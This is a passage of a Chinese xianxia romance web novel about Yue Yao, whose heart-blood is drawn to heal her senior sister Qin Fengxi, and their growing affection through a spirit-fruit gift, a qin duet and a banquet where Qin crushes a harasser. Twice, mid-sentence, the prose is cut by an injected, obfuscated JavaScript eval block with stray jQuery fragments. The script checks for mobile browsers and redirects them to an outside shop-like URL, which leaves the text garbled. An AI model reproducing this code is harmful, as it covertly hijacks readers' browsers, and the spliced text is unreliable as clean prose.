月瑶歪了歪头,认真地想了想这个问题。
生气?当然应该生气。她被人当成活体药引养着,她的血被人当成治病的药材,她的命从头到尾都不属于自己。换了任何一个人,都应该暴跳如雷,都应该哭天喊地,都应该指着秦凤兮的鼻子大骂一场。
但月瑶没有。
不是因为她大度,不是因为她善良,甚至不是因为她对秦凤兮有什么特别的感情。
而是因为——她从小就知道,这个世界上没有免费的东西。
外门的那些弟子为了五枚聚灵丹,要给内门弟子当牛做马,洗衣做饭,端茶倒水。赵管事给她一卷止血绷带,是因为她在杂役堂多干了三个时辰的活。就连她住的那间漏风的破木屋,也是她用每天砍五十斤灵柴换来的。
这个世界从来不会无缘无故地对你好。
如果有人对你好,那一定是因为你身上有她想要的东西。
秦凤兮想要她的血。
月瑶觉得这很公平。
”师姐,“月瑶抬起头,琥珀色的眼睛里映出秦凤兮的面容,”你救了我的命。“
秦凤兮微微一愣。
月瑶继续说了下去,语气平静得像在叙述一件与自己无关的事情:”我在外门的时候,我每天只能领到一块下品灵石和一碗灵米粥。灵石勉强够维持日常修炼,灵米粥里的灵气少得可怜,根本不足以支撑筑基期的消耗。我的修为卡在筑基一层快两年了,经脉因为灵气不足已经开始萎缩。按照那个速度,最多再过一年,我的经脉就会彻底闭塞,变成一个废人。“
她顿了顿,弯起嘴角。
”是你把我从外门提进来,给我灵石、丹药、洞府,让我的修为能继续提升。作为交换,我给你心头血。这笔买卖,我觉得挺划算的。“
秦凤兮沉默了很久。
窗外的风吹动了书案上的纸页,发出细碎的沙沙声。月光从窗口斜斜地照进来,将两个人的影子拉得很长。
”月瑶,“秦凤兮终于开口,声音比平时轻了几分,”你不必用买卖来形容。“
”那该用什么?“
”……“
秦凤兮没有回答。
可月瑶注意到,她握着玉简的手指收紧了,指节泛出青白色。
那天晚上,月瑶回到洞府后,没有像往常一样倒头就睡。
她坐在石榻上,将双腿盘起,掌心朝上置于膝头,闭目内视。
神识沉入体内,沿着经脉一路向下,越过丹田,越过骨骼,最终抵达身体最深处——骨。
极阴至寒之骨。
在她的神识感知中,那些骨头与常人不同。常人的骨骼是莹白色的,透着淡淡的灵光。而她的骨骼,是近乎透明的冰蓝色,像是一根根用万年寒冰雕琢而成的玉柱,在神识的照耀下折射出冷冽的光芒。
骨缝之间,流淌着一种银白色的液体。
那是骨髓。
也是极阴之体最核心的秘密所在。极阴之体的心头血之所以有镇压魔气的功效,不是因为心脏本身有什么特别,而是因为极阴之体的骨髓会分泌一种特殊的物质,这种物质随着血液循环流经心脉时,会被心脏吸收转化,形成心头血。
换句话说,心头血只是一个载体。
真正的源头,在她的骨头里。
月瑶睁开眼睛,低头看着自己的胸口。
她忽然想起玉简里那句「骨枯血竭,不可复生」。
她的心头血是有限的。不是因为心脏产血的极限,而是因为骨髓的储备有上限。每取一滴心头血,就意味着骨髓中的那种特殊物质减少一分。当骨髓彻底耗尽时,她的骨头会从冰蓝色变成死灰色,然后像风化的岩石一样,一寸寸碎裂。
那就是极阴之体的尽头。
月瑶将这个念头从脑海中驱逐出去,翻身躺在石榻上,看着寝居顶部的夜明珠发呆。
罢了…
想那么多干什么。
人活着不就是这样吗?今天不知道明天的事,这一刻不知道下一刻的事。与其担心几年后骨枯血竭,不如想想明天早上灵食堂会供应什么早饭。
月瑶翻了个身,把脸埋进枕头里。
枕头上有淡淡的皂角香,是她自己洗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590586|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过的。
但在那皂角的香味之下,还残留着一丝若有若无的冷香。
那是上次从秦凤兮洞府回来时沾上的。
月瑶将鼻子埋进枕头里,深深地吸了一口气。
冷香顺着鼻腔蔓延开来,像是有一双冰凉的手轻轻抚过她的心口。
她的心跳忽然快了半拍。
月瑶猛地睁开眼睛,像是被烫到一样把枕头推开,整个人坐了起来。
她摸了摸自己发烫的脸颊,心跳砰砰砰的,快得像擂鼓。
”月瑶,“她小声骂自己,”你有病吧!“
但她的手指还是不由自主地伸向那个枕头,像是在沙漠中跋涉了许久的人,忍不住想要靠近最后一片水源。
她把手缩了回来,又伸出去,又缩回来。
最后,她狠狠地在自己的手背上掐了一把。
”清醒一点,“她对自己说,声音低得像是自言自语,”你是她的药,不是她的什么人。“
”别自作多情了…“
与此同时,山顶的寝殿中。
秦凤兮站在窗前,月光将她的影子投在青石地面上,孤零零的,像一把被遗忘在雪地里的剑。
她的手中握着那卷关于极阴之体的玉简,指腹缓缓摩挲着最后那行字。
「骨枯血竭,不可复生。」
她已经看过这行字无数次了。
每一次看,都像有一把刀在心口上割。
她从一开始就知道。从她在擂台上第一次看到月瑶的时候,她就知道这个女孩的命运会是什么样。极阴之体的气息瞒不过她的眼睛,那层冰蓝色的光晕笼罩在月瑶周身,像一层薄薄的霜。
她选中月瑶,一开始确实是因为她的体质。
但又不仅仅是因为她的体质。
秦凤兮闭上眼睛,脑海中浮现出月瑶在擂台上的样子。破烂的道袍,露脚趾的鞋子,满身的伤口,却笑得比任何人都亮。那双琥珀色的眼睛里没有对命运的怨怼,没有对强者的畏惧,只有一种近乎固执的生机。
像一株从石缝里长出来的小草,风吹雨打,野火烧过,来年春天照样绿得发亮。
秦凤兮将玉简放回暗格,从袖中取出一只小小的白玉瓶。
瓶中装的是月瑶今天刚被取出的三滴心头血。
她将玉瓶举到眼前,透过半透明的瓶身,能看到里面的血液在微微发光,那是极阴之体独有的冰蓝色荧光,美丽而诡异,像是将极北之地的极光封存在了一只小小的瓶子里。
这是月瑶的血。
是从月瑶心脉最深处取出来的血。
秦凤兮忽然觉得这只玉瓶烫手。
她将玉瓶放在窗台上,打开瓶塞,让夜风吹进去。风带动瓶中的血液微微晃动,冰蓝色的光芒在月光下忽明忽暗。
她想起了月瑶的体温。
取血的时候,她的手指贴在月瑶的心口,能清晰地感受到那层皮肤下的心跳。比常人的心跳要慢一些,慢而有力,像是远古冰川深处传来的沉闷声响。
秦凤兮的指尖不自觉地蜷缩了一下。
她想起月瑶握着她的手时,那只布满薄茧的小手传来的温度。不是灼热,而是温温的、稳稳的、让人想要一直握下去的温暖。
她想起月瑶对她说「你笑起来真好看」时,那双琥珀色眼睛里亮晶晶的光。
那光太亮了,亮得她不敢直视。
秦凤兮将玉瓶重新塞好,收进袖中。
她转身走到石榻边,躺下,闭上眼睛。
但闭上眼之后,黑暗中全是月瑶的脸。
她翻了个身,将脸埋进枕头里。
枕头上没有冷香。
只有她自己身上的雪松味,清冷而孤独。
秦凤兮睁开眼睛,看着头顶的夜明珠,浅色的瞳孔里映出一片朦胧的光。
”月瑶,“她轻轻地、无声地念出这个名字,像是在品尝一粒落入雪中的糖,”你不必用买卖来形容。“
”因为我给你的那些,真的从来就不是买卖。“
”是我……心甘情愿的。“
这句话最终没有说出口,融化在了无声的夜里。
就像雪落在雪上,没有人听到它落下的声音。
4. 浮灵果
掌门无尘真人是在第五次取血时发现端倪的。
昆灵宗的规矩,首座弟子取用极阴之体的心头血,需由掌门亲自监督,以确保过程不出差错。前四次无尘真人都来了,远远站在寝殿门口看了一眼,确认秦凤兮没有将月瑶弄死便离开了。
但第五次,他多留了片刻。
可就是这片刻,让他看到了不该看到的东西。
秦凤兮取完血后,没有像前几次那样立刻用玉瓶封存心头血送走,而是先将白玉碗放在一旁,从袖中取出一只青瓷小瓶。
雪蟾续骨膏。
无尘真人认得那个瓶子,那是秦凤兮自己的伤药,宗门配给首座弟子的上品灵药,一小瓶便抵得上一柄中品灵器。他的眉头微微皱起——用这种级别的伤药用于外门弟子的针孔伤口,简直就是暴殄天物。
但接下来的事让他彻底愣在了原地。
秦凤兮将药膏涂在指尖,亲自俯下身,极为小心地抹在月瑶心口的针孔上。她的动作轻缓而专注,眉头微微蹙着,彷佛在进行某种神圣的仪式。那双向来冷淡的眼睛里,此刻盛满了一种无尘真人从未见过的神情。
温柔。
不是刻意的、表演性的温柔,而是从骨子里渗出来的、连她自己都没有意识到的温柔。
无尘真人活了四百余年,见过世间百态,自然不会看错。
他下意识地看向月瑶。那个外门弟子倒是神色如常,除了脸色因失血而苍白了几分,看不出什么异样。她安静地坐在石榻边,任由秦凤兮为她上药,琥珀色的眼睛低垂着,睫毛微微颤动。
但在秦凤兮收回手的那一瞬间,月瑶抬起了头,看了秦凤兮一眼。
那一眼很快,快到无尘真人几乎没有捕捉到。但他还是看到了——那双琥珀色的眼睛里,有什么东西亮了一下,像是黑暗中忽然燃起的一簇火苗,短暂而热烈。
无尘真人的眉头皱得更紧了。
他正准备离开,却看到秦凤兮做了一件更离谱的事。
她将手掌覆在月瑶心口的伤处,掌心中涌出一缕精纯至极的冰蓝色灵力,缓缓渡入月瑶体内。那不是普通的灵力,而是经过金丹圆满修士淬炼过的本命灵力,一丝便抵得上寻常修士苦修数日。
“师姐,你不用——”月瑶想推开。
“闭嘴。”秦凤兮的声音不大,但语气不容置疑。
月瑶果然闭嘴了。
无尘真人站在门口,看着这一幕,一时间竟不知该作何反应。他的首座弟子,昆吾宗百年不遇的天才,正将自己珍贵无比的本命灵力渡给一个筑基期的外门弟子,只为了让她心口的针孔快些愈合。
那点针孔,就算不用药,半个时辰也能自己长好。
秦凤兮却又是上药又是渡灵力,兴师动众得像是月瑶被人捅了一刀。
无尘真人深吸一口气,无声地转身离去。
他需要想一想。
翌日清晨,无尘真人将秦凤兮唤到了主峰议事堂。
秦凤兮来时神色如常,一袭玄色法衣,长发以玉冠束起,清冷矜贵得不似凡人。她在无尘真人面前站定,微微颔首行礼,动作标准得无可挑剔。
“掌门。”
无尘真人没有立刻开口,而是先仔细打量了她一番。
比起几个月前,秦凤兮的气色确实好了不少。魔凰血脉的反噬之症原本每隔几日便会发作一次,每次发作都将她折磨得生不如死。但自从开始服用月瑶的心头血后,反噬的频率明显降低了,她的脸色不再像从前那般苍白,眉宇间那股挥之不去的疲惫也淡了许多。
这本是好事。
但无尘真人高兴不起来。
“凤兮,”他终于开口,声音苍老而平和,“月瑶那丫头,你打算怎么办?”
秦凤兮微微一顿。“弟子不明白掌门的意思。”
“你明白。”
秦凤兮沉默了片刻,道:“她是极阴之体,我的心头血来源。我会确保她在取血期间安全无虞。”
“安全无虞?”无尘真人重复了这四个字,语气有些微妙,“用你的雪蟾续骨膏给她上药,用你的本命灵力给她疗伤,这就叫安全无虞?”
秦凤兮没有说话。
无尘真人看着她,叹了口气。
“凤兮,我看着你长大,从你三岁入宗到现在,整整十七年了。”他的声音放软了几分,“你这孩子从小就不会说谎。你不说话的时候,就是被人说中了心事的时候。”
秦凤兮垂下了眼帘,长长的睫毛遮住了眼底所有的情绪。
“掌门,”她的声音很轻,“她对我而言,不仅仅是心头血的来源。”
“我知道。“
”我……”
秦凤兮张了张嘴,又闭上了。
她不知道该怎么形容那种感觉。每当月瑶笑着叫她「师姐」的时候,每当月瑶忍着疼一声不吭的时候,每当月瑶用那双琥珀色的眼睛静静看着她的时候,她的心口就会泛起一种奇异的酸胀感。不是魔凰血脉反噬时的绞痛,而是一种更温柔的、更让人想要沈溺的疼痛。
像是心脏被泡在了温水里,慢慢地、慢慢地软化,软化到最后,连那层用了二十年的冰壳都快要兜不住了。
无尘真人没有追问。
他从袖中取出一只玉盒,放在桌上。玉盒通体雪白,盒身上刻满了封印符文,隐隐透出一股浓郁至极的灵气,仅仅是隔着盒子,都能感受到那股气息沁人心脾。
“这是什么?”秦凤兮抬起头。
“浮灵果。”
秦凤兮的瞳孔微微震动。
浮灵果,昆灵宗的镇宗灵果之一,生长在主峰之巅的浮灵树上,三百年开花,三百年结果,三百年成熟,整整九百年才能收获一季。而每一季,整棵树只结七颗果子。
这七颗果子,历来只有对宗门有重大贡献的长老才有资格享用,连秦凤兮这个首座弟子都从未尝过。
“掌门,这太贵重了——”
“不是给你的,”无尘真人打断了她,“是给月瑶的。”
秦凤兮愣住了。
无尘真人将玉盒推到她面前,苍老的脸上露出一丝无奈的笑意。
“浮灵果有固本培元、滋养骨髓之效,对极阴之体尤其有益。她每被你取一次心头血,骨髓便消耗一分。若不加滋养,骨枯血竭是迟早的事。”
他顿了顿,看着秦凤兮的眼睛,语气变得郑重:“凤兮,我不是要你放弃取血。魔凰血脉的反噬之症关乎你的性命,宗门不能没有你。但那个丫头……她的命也是命。”
“我这四百年的老骨头,能做的不多。这颗浮灵果,算是替宗门还她一份情。”
秦凤兮伸出双手,郑重地接过玉盒。
她的手指微微颤抖,但被她用极大的意志力压了下去。
“多谢掌门。”她的声音平稳,但无尘真人听出了那平稳之下的波澜。
“去吧,”无尘真人摆了摆手,“记住,一年只有七颗,省着点用。”
秦凤兮行礼转身,走到门口时忽然停下脚步。
“掌门。”
“嗯。”
“多谢您。”
这一次,她的声音里没有了那些刻意的平稳,干净而真诚,像是一个晚辈对长辈最朴素的感激。
无尘真人没有回头,只是轻轻「嗯」了一声,声音里带着一丝淡淡的笑意。
当天傍晚,秦凤兮亲自来到了月瑶的寝居。
月瑶打开门时,手里还端着一碗灵米粥,嘴角沾着一粒米。看到秦凤兮站在门口,她明显愣了一下,然后飞快地用袖子擦了擦嘴角。
“师姐?你怎么来了?今天不是取血的日子啊。”
秦凤兮没有回答,径直走进洞府,将那只玉盒放在石桌上。
月瑶凑过来,好奇地打量着那只刻满符文的玉盒:“嗯?这是什么?”
“这是浮灵果。”
“没听过。”
“昆灵宗的镇宗灵果,九百年结七颗。”
月瑶端着灵米粥的手僵住了。
她慢慢转过头,看着秦凤兮,又看了看那只玉盒,然后又看了看秦凤兮。
“这…师姐,你是认真的?”
秦凤兮打开玉盒。
盒中静静地躺着一枚拳头大小的果子,色泽莹白如玉,表面浮动着一层淡金色的光晕。那光晕像是活物一般缓缓流转,每一次流转都散发出浓郁到近乎实质的灵气,整个洞府瞬间被这股灵气充盈,连呼吸都变得奢侈起来。
月瑶手里的灵米粥在这股灵气面前,寒酸得像一碗白开水。
她不自觉地咽了口唾沫。
“掌门给的,”秦凤兮说,“给你补身体。”
“……给我?”
月瑶瞪大了眼睛。她进宗三年,连长老的脸都没见过几次,那位传说中的掌门真人居然会给她送灵果?还是九百年结七颗的那种?
她张了张嘴,刚想说「这太贵重了我不能要」,就看到秦凤兮从盒中取出浮灵果,递到她面前。
那双浅淡的眼睛看着她,语气平淡得像在说「把这碗饭吃了」。
“吃了。”
“可是——”
“快吃了。”
月瑶看了看秦凤兮的脸,又看了看那枚散发着金色光晕的灵果,最终还是伸手接过来了。
浮灵果入手微凉,果皮光滑如丝缎,隐隐能感觉到果子内部有一股温和的力量在脉动,像是一颗活着的心脏。
月瑶咬了一口。
汁水在口中炸开的瞬间,她整个人都僵住了。那不是甜,不是酸,不是任何一种她能形容的味道,而是一种更原始的、更本能的冲击——像是干涸了许久的土地终于迎来了第一场雨,像是枯萎的枝头重新长出了嫩芽。
她体内那些因心头血流失而变得有些暗淡的骨髓,在这股力量的滋养下,重新亮起了冰蓝色的光。
月瑶的眼眶忽然有些发酸。
她低下头,大口大口地吃完了整颗浮灵果,连果核都没有吐——不是因为舍不得,而是因为咬得太急,不小心一起吞下去了。
秦凤兮看着她狼吞虎咽的样子,嘴角微微动了一下。
那个弧度很小,小到几乎不存在。
但月瑶还是看到了。
她含着满嘴的果肉,含糊不清地说了一句:“师姐,你是不是笑了?”
“没有。”
“我看到了。”
“你看错了。”
“师姐——”
“吃完记得把碗洗了。”
秦凤兮转身走向门口,背影笔直如松,步伐稳健得无可挑剔。
但在月瑶看不到的角度,她的唇角已经彻底弯了起来,弯成了一个真真切切的笑容。
月光洒在雪地上,将她的影子拉得很长。
那影子在雪地上拖曳出一道浅浅的痕迹,像是谁用指尖在雪面上画了一笔温柔的弧线。
寝居里,月瑶端着空碗,看着秦凤兮离去的背影,忽然笑了。
笑得眉眼弯弯,笑得像春天里最早绽放的那朵花。
她低头看了看自己的心口,那里已经感受不到取血后的隐痛了。
不是因为浮灵果的药效,而是因为——那个人连走路带起的风,都是温柔的。
月瑶会弹琴,这件事整个昆灵宗没有人知道。
琴是她从外门带进来的唯一一件私人物品。说是一张琴,其实不过是一块桐木削成的粗胚,连琴弦都是用普通的蚕丝搓成的,音色闷钝,稍一用力便会发出刺耳的杂音。
月瑶却是十分宝贝它。
那是一个已经记不清面容的人留给她的唯一念想。
每逢修炼遇到瓶颈、或是取血后身体虚弱得无法运功时,她便会将这张琴抱出来,坐在寝居门口的石台上,对着满山云雾弹上一曲。
她的琴技说不上高明,指法甚至有些生涩,但她弹琴时有一种奇异的感染力——那双平日里总是带着几分狡黠笑意的琥珀色眼睛会变得异常沉静,像是两汪深不见底的古井,倒映着天光云影,却不起一丝波澜。
这天傍晚,秦凤兮循例来送浮灵果。
她走到月瑶洞府前的石径上时,远远地听到了琴声。
那是一首她从未听过的曲子,旋律简朴得近乎寡淡,没有华丽的转折,没有炫技的装饰,只是几个简单的音符反反复复地回旋,像是山间的溪流在低声诉说着什么。
但秦凤兮的脚步却不由自主地慢了下来。
她站在石径的转角处,隔着一片薄薄的雾气,看到了月瑶。
月瑶坐在洞府门口的石台上,一袭青灰色的衣袍被山风吹得猎猎作响,长发没有束起,散落在肩后,被夕阳镀上了一层温暖的橘红色。她低垂着头,额前的碎发遮住了半张脸,只能看到侧脸的轮廓——鼻梁秀挺,唇线柔和,睫毛在眼下投下一小片扇形的阴影。
那张粗陋的桐木琴横在她膝上,她的手指在蚕丝弦上缓缓移动,按、挑、勾、抹,每一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590587|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动作都带着一种不自觉的温柔,像是在抚摸什么珍贵而易碎的东西。
秦凤兮站在雾中,静静地看着她。
她不知道自己站了多久。
一刻钟?半个时辰?也许更久。
她只知道自己的眼睛像是被什么东西钉住了,怎么也移不开。那个坐在石台上的身影明明离她不过十余丈远,却像是隔了一整个尘世——一个她在冰天雪地里踽踽独行了二十年,从未真正抵达过的尘世。
琴声渐渐低了下去,像是溪流汇入了深潭,归于寂静。
月瑶抬起头,这才发现了雾中的秦凤兮。
“师姐?”她有些意外地眨了眨眼,随即弯起嘴角,“你来啦?今天的浮灵果吗?”
秦凤兮没有回答。
她走上前,将玉盒放在石台上,却没有像往常一样转身离开。她在月瑶身边站了一会儿,然后坐了下来。
石台不大,两个人坐在一起,肩头几乎要挨着肩头。
“这是什么曲子?”秦凤兮问。
月瑶愣了一下,低头看了看膝上的琴,有些不好意思地笑了笑:“我也不知道叫什么名字。小的时候……有人教我的,后来那个人不在了,曲子也忘了大半,只剩下这几句翻来覆去地弹。”
她说得很随意,语气里听不出太多伤感,但秦凤兮注意到她按在琴弦上的手指微微收紧了一些。
秦凤兮没有追问「那个人」是谁。
她只是伸出手,指尖轻轻落在琴尾的蚕丝弦上,拨出了一个清浅的音。
月瑶惊讶地抬起头:“师姐会弹琴吗?”
“以前学过一点。”秦凤兮的声音很淡,像是这件事不值一提。
但她的手指已经落在了弦上。
秦凤兮弹琴的样子与她平日的形象截然不同。那个握剑时冷厉果决、取血时沉稳精准的首座弟子,在触及琴弦的瞬间,像是变成了另一个人。她的动作很慢,慢到每一个音与下一个音之间都隔着长长的留白,像是在雪地上一步一步地走着,每一步都走得很认真、很小心。
月瑶听出来了。
那是一首古曲,《凤求凰》。
她听过的次数不多,但每一次听都觉得这首曲子的旋律太过缠绵,像是两个人隔着千山万水在互相呼唤,喊得声嘶力竭却始终触不到对方。
但秦凤兮弹出来的《凤求凰》不一样。
没有缠绵,没有呼唤,甚至没有声音。
那琴声安静得不像琴声,更像是一个人在雪夜里独自走着,走着走着,忽然停下脚步,回头看了一眼。身后是茫茫的白,什么都没有。但她还是回头了,固执地、安静地、一次又一次地回头。
月瑶不知道为什么,听着听着,眼眶就红了。
最后一个音落下。
秦凤兮收回手指,静静地看着琴尾的余韵在空气中消散。
洞府门口安静极了,只有山风吹过松林的沙沙声。
“师姐,”月瑶的声音有些哑,“你弹得真好。”
秦凤兮没有看她,目光落在远方被夕阳染红的云海上。
“月瑶,”她忽然开口,声音轻得像一片羽毛落在雪地上,“你弹琴的时候,在想什么?”
月瑶认真地想了想。
“什么都没想,”她说,“就是觉得……弹琴的时候,我不是极阴之体,不是心头血的容器,不用想明天会怎样,也不用想以前经历过什么。我就只是……我。”
她说到最后一个字的时候,声音忽然轻了下去,像是说出这句话本身就需要勇气。
秦凤兮转过头来。
四目相对。
夕阳的光芒从云海的缝隙中倾泻而下,将两个人的面容都染成了温暖的橘红色。秦凤兮那双向来冷淡的眼睛里,此刻映满了晚霞的光芒,像是冰川之上忽然出现了极光,冷冽与绚烂交织在一起,美得不像真实。
月瑶的心跳骤然加速。
她看到秦凤兮的瞳孔中倒映着自己的脸,那张脸上有晚霞的颜色,还有她自己都没意识到的、某种近乎虔诚的神情。
秦凤兮的目光从月瑶的眼睛缓缓移到她按在琴弦上的手指上,又移到琴身上那一道道被磨得光滑的指痕上,最后又回到月瑶的脸上。
她的眼神在那一刻变了。
不是冷淡,不是算计,不是同情,不是心疼。
而是一种更深的、更静的、像是潭水终于结了冰之后,冰面下依然有水流动的那种神情。
她看着月瑶,像是在看一个她已经找了很久很久、终于在这个漫长的黄昏里找到的人。
月瑶被这道目光看得浑身发软,像是整个人被泡在了温水里,骨头都酥了。她想说点什么来打破这种让人心慌的安静,但张了张嘴,发现自己一个字都说不出来。
最后是秦凤兮先移开了目光。
她站起身,拍了拍衣袍上并不存在的灰尘,语气恢复了平日里的清冷:“浮灵果记得吃,明日还要取血,早些休息。”
说完,她转身沿着石径走去。
月瑶坐在石台上,抱着膝上的桐木琴,目送她的背影消失在暮色与雾气之中。
直到那道玄色的身影完全看不见了,月瑶才长长地呼出一口气,低下头,看着膝上的琴。
琴身上还残留着秦凤兮指尖的温度。
很凉,像是雪。
但那凉意之下,有一种说不清道不明的东西,顺着琴身蔓延到月瑶的指尖,又从指尖一路蔓延到心口。
月瑶将琴抱紧了一些,把脸贴在冰凉的琴身上。
“凤兮师姐……”她喃喃地念出这个名字,声音轻得像是一声叹息。
山风吹过来,将她未尽的话语吹散在漫天的霞光里。
与此同时,秦凤兮走在回寝殿的石径上。
她的步伐很快,快得像是在逃避什么。但走到半山腰的转角处时,她忽然停了下来。
她回头看了一眼。
暮色已经彻底笼罩了山巅,月瑶洞府的方向只剩下一个模糊的轮廓,石台上已经没有了那个抱着琴的身影。
秦凤兮站在转角处,静静地看了很久。
风吹动她的衣袍,将那身衣袍吹得猎猎作响。
她忽然伸出手,在空中虚虚地拨了一下,像是那里有一根看不见的琴弦。
指尖在空气中微微震颤,没有发出任何声音。
但秦凤兮觉得自己听到了什么。
那是她二十年来,听过的最动听的声音。
5. 守护与无奈
这件事情要从昆吾宗一年一度的「琼花宴」说起。
琼花宴说是宴会,其实是宗门为了犒劳内门弟子而设的灵酒大会。每逢这个日子,膳食堂会搬出窖藏百年的灵果酿,据说一杯便能让筑基期的修士飘飘然如登仙境。月瑶往年作为外门弟子是没资格参加的,但今年不同——她是秦凤兮的人,自然坐在了首座弟子身侧的位置。
秦凤兮不饮酒。她端坐在主位上,面前的白玉杯从头到尾都是满的,连一滴都没少。但月瑶不一样。她第一次参加这种场合,被热闹的气氛感染,又被几个内门女弟子起哄着敬了几杯,脸上很快泛起了酡红。
“师姐,这酒甜甜的,还挺好喝。”月瑶又灌下一杯,笑眯眯地转头看向秦凤兮,琥珀色的眼睛里像是盛了一汪春水,波光潋灩。
秦凤兮看了她一眼,眉头微微蹙起:“身子刚好,少喝些。”
“没关系,我酒量好得很——”话音未落,月瑶打了个小小的酒嗝,身子晃了晃,险些从椅子上滑下去。秦凤兮眼疾手快,一把扶住了她的肩膀。
那只手在月瑶肩上停留了片刻,才缓缓收回。
坐在对面的几位长老将这一幕看在眼里,交换了一个心照不宣的眼神,谁也没有说话。
宴会进行到一半,月瑶被几个热情的内门女弟子拉去旁边的席上喝酒。秦凤兮本想拦,但掌门无尘真人恰在此时将她唤到跟前商议要事,她只得叮嘱了一句「别喝太多」,便起身离席了。
就是这一小会儿的工夫,出了事。
月瑶半醉半醒地靠在一张矮几旁,手里还攥着半杯灵果酿,整个人晕晕乎乎的像踩在云端。她觉得自己的身体变得很轻,轻得像一片羽毛,风一吹就能飞起来。周围的声音变得模模糊糊,像是隔了一层水,听不真切。
就在这时,一只手搭上了她的腰。
“月瑶师妹,喝多了吧?我送你回去?”
月瑶迷迷糊糊地转头,看到一张陌生的脸——是个年轻的男弟子,面白无须,眉眼间带着几分轻浮的笑意。她不认识这个人,甚至连他的名字都懒得问,但那只手在她腰上不老实地滑动,让她本能地感到一阵厌恶。
“放手。”月瑶的声音不大,但语气很冷。
那男弟子却像是没听见,反而凑得更近了,酒气喷在月瑶的耳侧:“别这么见外嘛,我可是内门核心弟子,你跟着我,比跟着秦师姐——”
他没能说完这句话。
因为一股排山倒海的灵压突然从天而降,将他整个人钉在了地上。
不,不是钉——是砸。
那股灵压来得太快太猛,像是有一座万丈雪山从头顶轰然坍塌,那男弟子甚至来不及发出惊叫,便「砰」的一声跪在了地上,膝盖撞击青石地面的声音清脆得让人心头一紧。他的七窍同时渗出血来,脸色惨白如纸,整个人像是被一只看不见的巨手死死按在地上,连一根手指都动弹不得。
全场骤然安静。
所有的目光都集中到了一个方向——秦凤兮。
她站在三步之外,面色平静得近乎可怕。没有暴怒,没有杀意,甚至连眉头都没有皱一下。她的周身没有任何灵力波动,彷佛那碾压一切的灵压只是旁人产生的错觉。
但那男弟子的骨骼已经在咯咯作响了。
再压下去,他会死。
“凤兮!”
无尘真人的声音从主位上传来,不轻不重,却带着不容置疑的威严。他看着秦凤兮,目光平静,微微摇了摇头。
秦凤兮没有立刻收手。
她低头看着那个跪在地上瑟瑟发抖的男弟子,浅色的眼睛里没有一丝波澜。那目光甚至算不上愤怒,更像是看一件脏了的东西——不值得生气,但需要被清除。
过了漫长的几息,她终于收回了灵压。
那男弟子瘫软在地,大口大口地喘着气,裤子上已经湿了一片。两个内门弟子慌忙上前将他拖走,拖行的地面上留下一道浅浅的水渍,空气中弥漫开一股尿骚味。
没有人敢笑。
秦凤兮转过身,走到月瑶面前。
月瑶还靠在那张矮几旁,全程目睹了一切,琥珀色的眼睛睁得大大的,酒意都吓醒了三分。她仰头看着秦凤兮,看到那张清冷的面容上终于出现了一丝裂痕——不是愤怒,而是她从未在秦凤兮脸上见过的东西。
后怕。
秦凤兮蹲下来,与她平视,声音很轻:“可伤到没有?”
“没有,师姐,没事…我就是被碰了一下腰——”
“哪只手?”
“……啊?”
“他碰你的那只手,是哪只手?”
秦凤兮的语气依然很平静,但月瑶注意到她的眼睛里有什么东西在翻涌,像是冰面下压抑了千万年的岩浆,随时都要喷薄而出。
月瑶忽然觉得有些心虚,又有些想笑。她伸出手,轻轻握住秦凤兮垂在身侧的手,那只手冰凉彻骨,指尖微微发颤。
“师姐,我没事,真的…”
秦凤兮低头看着两人交握的手,沉默了片刻。那股翻涌的情绪终于慢慢平息下去,像是暴风雪过后的旷野,只余下无边无际的白。
她没有说话,只是反手握紧了月瑶的手。
然后,她在所有人的注视下,做了一件不符合她身份的事。
她弯下腰,一手揽住月瑶的腰,一手托住她的膝弯,将她整个人横抱了起来。
月瑶惊呼一声,下意识地搂住了秦凤兮的脖子。她的脸「唰」地红透了,红得比刚才喝的所有灵酒加起来都厉害。她能闻到秦凤兮身上那股淡淡的冷香,能感觉到那双手臂稳稳地托着自己的身体,能听到那颗隔着衣料的心跳——比平时快了很多。
“师姐,我、我可以自己走——”
“你醉了。”
“我没有…”
“你醉了!“秦凤兮重复了一遍,语气不容反驳。
月瑶张了张嘴,最终还是乖乖闭上了,把脸埋进了秦凤兮的颈窝里。
秦凤兮抱着她,穿过寂静无声的大殿,穿过窃窃私语的人群,穿过洒满月光的长廊,一步一步走得很稳。
月光将两个人的影子投在青石地面上,交叠在一起,像是一幅水墨画。
无尘真人坐在主位上,看着那两个远去的背影,端起面前的茶杯,轻轻抿了一口。
”年轻真是好。“他低声说了一句,嘴角浮起一丝若有若无的笑意。
旁边的长老们面面相觑,谁也不敢接话。
秦凤兮的寝殿在山顶最高处,是整座昆灵宗最接近月亮的地方。
她将月瑶放在自己的石榻上,动作轻得像在安放一件易碎品。月瑶的后背触到柔软的被褥时,发出一声舒服的喟叹,整个人像只小猫一样在被褥上蹭了蹭,眯起了眼睛。
秦凤兮站在榻边,居高临下地看着她。
月光从窗口倾泻而入,将月瑶的面容照得清清楚楚。她的脸颊还泛着酒后的红晕,长发散落在枕上,像是泼墨一般铺展开来。她的嘴唇微微张着,呼吸间带着淡淡的灵果酿的甜香,睫毛在眼下投下一小片扇形的阴影,随着呼吸微微颤动。
秦凤兮的手指不自觉地抬了起来。
